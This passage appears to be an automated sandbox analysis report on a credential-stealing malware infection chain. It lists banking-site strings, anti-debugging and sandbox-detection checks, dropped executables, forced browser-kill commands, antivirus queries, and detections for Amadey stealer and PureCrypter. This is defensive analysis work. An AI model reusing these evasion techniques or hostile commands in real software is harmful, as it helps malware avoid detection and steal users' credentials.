Source: 954f709e67.exe, 00000020.00000003.3260592336.0000000005D83000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696428655}
Source: file.exe, 00000000.00000002.2540983254.0000000001252000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2540983254.0000000001226000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000019.00000002.3308321428.0000000000F49000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000019.00000002.3308321428.0000000000F78000.00000004.00000020.00020000.00000000.sdmp, lll.exe, 0000001C.00000002.3172686307.0000000000F3A000.00000004.00000020.00020000.00000000.sdmp, lll.exe, 0000001C.00000002.3172686307.0000000000F75000.00000004.00000020.00020000.00000000.sdmp, 954f709e67.exe, 0000001D.00000002.3306723851.0000000001147000.00000004.00000020.00020000.00000000.sdmp, 97aac85e85.exe, 0000001F.00000002.3192874994.0000000000F43000.00000004.00000020.00020000.00000000.sdmp, 97aac85e85.exe, 0000001F.00000002.3192874994.0000000000F73000.00000004.00000020.00020000.00000000.sdmp, 954f709e67.exe, 00000020.00000002.3308221521.000000000158F000.00000004.00000020.00020000.00000000.sdmp, 954f709e67.exe, 00000020.00000002.3308221521.00000000015CC000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: firefox.exe, 0000002F.00000002.3526297302.00000214F89BF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000031.00000002.3314668216.000001FAD581E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW : 2 : 34 : 1 : 1 : 0x20026 : 0x8 : %SystemRoot%\system32\mswsock.dll : : 1234191b-4bf7-4ca7-86e0-dfd7c32b5445
Source: 954f709e67.exe, 00000020.00000003.3260592336.0000000005D83000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696428655
Source: 97aac85e85.exe, 00000030.00000002.3308546587.0000000000E39000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW(
Source: 954f709e67.exe, 00000020.00000003.3260592336.0000000005D83000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655^
Source: 954f709e67.exe, 00000020.00000003.3260592336.0000000005D83000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696428655u
Source: 954f709e67.exe, 00000020.00000003.3260592336.0000000005D83000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696428655\|UE
Source: 954f709e67.exe, 00000020.00000003.3260592336.0000000005D83000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696428655}
Source: 954f709e67.exe, 0000001D.00000002.3306723851.0000000001119000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW`
Source: 954f709e67.exe, 00000020.00000003.3260592336.0000000005D83000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696428655p
Source: 954f709e67.exe, 00000020.00000003.3260592336.0000000005D83000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696428655n
Source: 954f709e67.exe, 00000020.00000003.3260592336.0000000005D83000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696428655t
Source: 954f709e67.exe, 00000020.00000003.3260592336.0000000005D83000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696428655x
Source: chrome.exe, 00000024.00000002.3234827280.000002227E6CE000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000002F.00000002.3345626656.00000214EED93000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000031.00000002.3316646539.000001FAD5C40000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: 954f709e67.exe, 00000020.00000003.3260592336.0000000005D83000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655
Source: 954f709e67.exe, 00000020.00000003.3260592336.0000000005D83000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696428655s
Source: 97aac85e85.exe, 00000030.00000002.3308546587.0000000000DFB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware*
Source: 954f709e67.exe, 00000020.00000003.3260592336.0000000005D83000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696428655~
Source: 954f709e67.exe, 00000020.00000003.3260592336.0000000005D83000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696428655
Source: 954f709e67.exe, 00000020.00000003.3260592336.0000000005D83000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696428655
Source: 954f709e67.exe, 00000020.00000003.3260592336.0000000005D83000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696428655o
Source: 954f709e67.exe, 00000020.00000003.3260592336.0000000005D83000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696428655z
Source: 954f709e67.exe, 00000020.00000003.3260592336.0000000005D83000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696428655t
Source: 954f709e67.exe, 00000020.00000003.3260592336.0000000005D83000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696428655
Source: 954f709e67.exe, 00000020.00000003.3260592336.0000000005D83000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696428655
Source: 954f709e67.exe, 00000020.00000003.3260592336.0000000005D83000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696428655j
Source: 954f709e67.exe, 00000020.00000003.3260592336.0000000005D83000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696428655
Source: firefox.exe, 00000031.00000002.3316646539.000001FAD5C40000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll4
Source: 97aac85e85.exe, 00000030.00000002.3308546587.0000000000DFB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: 954f709e67.exe, 00000020.00000003.3260592336.0000000005D83000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696428655]
Source: 954f709e67.exe, 00000020.00000003.3260592336.0000000005D83000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696428655x
Source: file.exe, 00000000.00000002.2538695279.0000000000707000.00000040.00000001.01000000.00000003.sdmp, DocumentsIDHCGDAFBK.exe, 00000016.00000002.2616122784.0000000001020000.00000040.00000001.01000000.0000000B.sdmp, skotes.exe, 00000017.00000002.2615393717.0000000000880000.00000040.00000001.01000000.0000000E.sdmp, skotes.exe, 00000018.00000002.2645610834.0000000000880000.00000040.00000001.01000000.0000000E.sdmp, skotes.exe, 00000019.00000002.3299721810.0000000000880000.00000040.00000001.01000000.0000000E.sdmp, lll.exe, 0000001C.00000002.3170126972.0000000000741000.00000040.00000001.01000000.00000010.sdmp, 954f709e67.exe, 0000001D.00000002.3298658925.0000000000BF7000.00000040.00000001.01000000.00000011.sdmp, 97aac85e85.exe, 0000001F.00000002.3186953472.00000000003E7000.00000040.00000001.01000000.00000012.sdmp, 954f709e67.exe, 00000020.00000002.3296906687.0000000000BF7000.00000040.00000001.01000000.00000011.sdmp, 97aac85e85.exe, 00000030.00000002.3298701593.00000000003E7000.00000040.00000001.01000000.00000012.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: 954f709e67.exe, 00000020.00000003.3260592336.0000000005D83000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696428655h
Source: 954f709e67.exe, 00000020.00000003.3260592336.0000000005D83000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696428655

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\DocumentsIDHCGDAFBK.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1008294001\f979933b17.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1008303001\lll.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1008305001\97aac85e85.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1008305001\97aac85e85.exe	Thread information set: HideFromDebugger

Potentially malicious time measurement code found

Source: C:\Users\user\DocumentsIDHCGDAFBK.exe

Code function: 22_2_0575085F Start: 057508F3 End: 057508AB

22_2_0575085F

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\1008305001\97aac85e85.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\1008305001\97aac85e85.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\1008305001\97aac85e85.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1008305001\97aac85e85.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\1008305001\97aac85e85.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1008305001\97aac85e85.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\1008305001\97aac85e85.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\1008305001\97aac85e85.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\1008305001\97aac85e85.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\1008305001\97aac85e85.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\1008305001\97aac85e85.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\DocumentsIDHCGDAFBK.exe	Process queried: DebugPort
Source: C:\Users\user\DocumentsIDHCGDAFBK.exe	Process queried: DebugPort
Source: C:\Users\user\DocumentsIDHCGDAFBK.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008294001\f979933b17.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008294001\f979933b17.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008294001\f979933b17.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008303001\lll.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008303001\lll.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008303001\lll.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008305001\97aac85e85.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008305001\97aac85e85.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008305001\97aac85e85.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008305001\97aac85e85.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008305001\97aac85e85.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1008305001\97aac85e85.exe	Process queried: DebugPort

Source: C:\Users\user\DocumentsIDHCGDAFBK.exe

Code function: 22_2_05750C88 rdtsc

22_2_05750C88

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C6BAC62 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_6C6BAC62

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 25_2_006B652B mov eax, dword ptr fs:[00000030h]		25_2_006B652B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 25_2_006BA302 mov eax, dword ptr fs:[00000030h]		25_2_006BA302

Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C6BAC62 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_6C6BAC62

Source: C:\Users\user\Desktop\file.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match	File source: Process Memory Space: file.exe PID: 6460, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 97aac85e85.exe PID: 4564, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 97aac85e85.exe PID: 8388, type: MEMORYSTR

Detected PureCrypter Trojan

Source: lll.exe, 0000001C.00000003.3043426191.0000000005819000.00000004.00000800.00020000.00000000.sdmp

String found in binary or memory: {"ConfigIDs":"{\"ECS\":\"P-R-1082570-1-11,P-D-42388-2-6\",\"Edge\":\"P-X-1253166-4-5,P-X-1126445-2-5,P-X-1159506-2-5,P-X-1137521-3-11,P-X-1116674-11-34,P-X-1095018-2-6,P-X-1096650-2-6,P-X-1077147-1-9,P-X-1069756-2-8,P-X-1071593-2-4,P-X-1061902-3-17,P-X-1048071-1-5,P-X-1010579-1-9,P-X-1008556-23-102,P-X-1036081-1-3,P-X-1012411-2-9,P-X-97954-9-100,P-R-1068861-4-12,P-R-1008497-12-13,P-R-87486-2-17,P-R-67067-6-64,eej45377:646690,41612551:479862,cfg5e884:560003,eggf0128:472101,sendtabqr:498558,edauth0529:481519,9ffeg962:402950,ed0317:378541,producttrackingalertsettings_v1cf:458226,2chfa640:363442,edpas404:384675,hjd07315:315108,edenh823:312573,i8id9958:449025,v1_onlineselextraction:330872,edklo447:358232,linkui:481501\",\"EdgeConfig\":\"P-R-1457891-1-5,P-R-1279375-1-7,P-R-1221542-1-5,P-R-1176033-4-5,P-R-1174322-1-4,P-R-1129815-1-5,P-R-1148262-1-5,P-R-1147287-1-6,P-R-1136203-1-4,P-R-1133477-1-4,P-R-1130507-1-6,P-R-1113531-4-9,P-R-1099640-1-4,P-R-1098501-1-7,P-R-1090419-1-5,P-R-1082109-1-6,P-R-1082170-11-26,P-R-1052391-1-8,P-R-1039913-1-22,P-R-1036635-2-5,P-R-110491-24-85,P-R-68474-9-12,P-R-61206-14-20,P-R-61153-10-15,P-R-60617-7-21,P-R-45373-8-85,P-R-46265-41-108,P-D-1150672-1-4\",\"EdgeDomainActions\":\"P-R-1093245-1-19,P-R-1037936-1-14,P-R-1024693-1-11,P-R-108604-1-36,P-R-78306-1-18,P-R-73626-1-17,P-R-71025-5-13,P-R-63165-4-26,P-R-53243-2-7,P-R-40093-3-26,P-R-38744-7-97,P-R-31899-21-486,P-D-1138318-1-3,P-D-98331-6-32\",\"EdgeFirstRunConfig\":\"P-R-1075865-1-7\",\"Segmentation\":\"P-R-1473016-1-8,P-R-1159985-1-5,P-R-1113915-25-11,P-R-1098334-1-6,P-R-66078-1-3,P-R-66077-1-5,P-R-60882-1-2,P-R-43082-3-5,P-R-42744-1-2\"}","Edge":{"AccountLevelSyncReclaim":{"enableFeatures":["msAccountLevelSyncConsent","msNurturingAccountLevelSyncConsentSyncOff","msNurturingAccountLevelSyncConsentSyncOn"]},"AdsPlatformXEdgeexp":{"enableFeatures":["msEdgeAdPlatformUI","msEdgeAdPlatformBingPathsV3","msEdgeAdPlatformProtobufMigration","msEdgeAdPlatformUseIdentity"]},"ArrestUserChurn":{"enableFeatures":["msLoadChromeWebstoreByDefault"]},"DefaultBrowserBannerExternalStableRollout":{"enableFeatures":["msNurturingDefaultBrowserBannerCloseBtn","msNurturingUrlParser","msEdgeNurFIrisSupport"],"parameters":[{"name":"DismissalCap","value":"1000"}]},"DisablePageActionIcons":{"enableFeatures":["msOmniboxDisablePageActionIcons"],"parameters":[{"name":"msDisableOmniboxTriggeredIcon","value":"12,16"}]},"DisconnectedErrorPageVariations":{"enableFeatures":["msShowTroubleshootButtonOnErrorPage","msDisconnectedErrorPageVariation2"]},"EdgeOnRampShowVersionWhatsNew":{"enableFeatures":["msEdgeOnRampShowWhatsNew"],"parameters":[{"name":"Browser Version","value":"131.0.0.0"}]},"EdgeShoppingOnlineSelectorExtraction":{"enableFeatures":["msShoppingExp1"]},"EdgeVpnAllSites":{"enableFeatures":["msEnableVpnAllSites"]},"EnhancedTextContrast":{"enableFeatures":["msEnhancedTextContrast"]},"ExternalStoreZeroSearchResults":{"enableFeatures":["msEnableZeroSearchResults"]},"PasswordZeroStateV2":{"enableFeatures

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsIDHCGDAFBK.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\DocumentsIDHCGDAFBK.exe "C:\Users\user\DocumentsIDHCGDAFBK.exe"
Source: C:\Users\user\DocumentsIDHCGDAFBK.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1008294001\f979933b17.exe "C:\Users\user\AppData\Local\Temp\1008294001\f979933b17.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1008303001\lll.exe "C:\Users\user\AppData\Local\Temp\1008303001\lll.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe "C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1008305001\97aac85e85.exe "C:\Users\user\AppData\Local\Temp\1008305001\97aac85e85.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1008306001\15a477ae94.exe "C:\Users\user\AppData\Local\Temp\1008306001\15a477ae94.exe"

Source: C:\Users\user\AppData\Local\Temp\1008306001\15a477ae94.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008306001\15a477ae94.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008306001\15a477ae94.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008306001\15a477ae94.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1008306001\15a477ae94.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C704760 malloc,InitializeSecurityDescriptor,SetSecurityDescriptorOwner,SetSecurityDescriptorGroup,GetLengthSid,GetLengthSid,GetLengthSid,malloc,InitializeAcl,AddAccessAllowedAce,AddAccessAllowedAce,AddAccessAllowedAce,SetSecurityDescriptorDacl,PR_SetError,GetLastError,free,GetLastError,GetLastError,free,free,free,

0_2_6C704760

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C5E1C30 GetCurrentProcess,OpenProcessToken,GetTokenInformation,GetLengthSid,malloc,CopySid,CopySid,GetTokenInformation,GetLengthSid,malloc,CopySid,CloseHandle,AllocateAndInitializeSid,GetLastError,PR_LogPrint,

0_2_6C5E1C30

Source: 15a477ae94.exe, 00000021.00000000.3194070204.0000000000E72000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: Run Script:AutoIt script files (.au3, .a3x).au3;.a3xAll files (.).au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndREMOVEKEYSEXISTSAPPENDblankinfoquestionstopwarning
Source: file.exe, file.exe, 00000000.00000002.2538695279.0000000000707000.00000040.00000001.01000000.00000003.sdmp, 97aac85e85.exe, 00000030.00000002.3298701593.00000000003E7000.00000040.00000001.01000000.00000012.sdmp	Binary or memory string: n$Program Manager
Source: firefox.exe, 0000002F.00000002.3308002443.00000083A7C4B000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: ?Progman

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C6BAE71 cpuid

0_2_6C6BAE71

Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008294001\f979933b17.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0

Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1008294001\f979933b17.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1008294001\f979933b17.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1008303001\lll.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1008303001\lll.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1008305001\97aac85e85.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1008305001\97aac85e85.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1008306001\15a477ae94.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1008306001\15a477ae94.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1008294001\f979933b17.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1008294001\f979933b17.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1008294001\f979933b17.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1008303001\lll.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1008305001\97aac85e85.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe	Queries volume information: C:\ VolumeInformation

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C6BA8DC GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

0_2_6C6BA8DC

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C608390 NSS_GetVersion,

0_2_6C608390

Source: C:\Users\user\AppData\Local\Temp\1008294001\f979933b17.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Source: lll.exe, 0000001C.00000002.3172686307.0000000000F49000.00000004.00000020.00020000.00000000.sdmp, 954f709e67.exe, 0000001D.00000002.3310453119.00000000011C0000.00000004.00000020.00020000.00000000.sdmp, 954f709e67.exe, 0000001D.00000003.3247950351.00000000011BD000.00000004.00000020.00020000.00000000.sdmp, 954f709e67.exe, 0000001D.00000003.3224518536.00000000011BD000.00000004.00000020.00020000.00000000.sdmp, 954f709e67.exe, 0000001D.00000003.3239574752.00000000011BB000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct
Source: C:\Users\user\AppData\Local\Temp\1008303001\lll.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct
Source: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 25.2.skotes.exe.680000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.skotes.exe.680000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 22.2.DocumentsIDHCGDAFBK.exe.e20000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.skotes.exe.680000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000017.00000002.2615255445.0000000000681000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 00000019.00000002.3295724379.0000000000681000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY
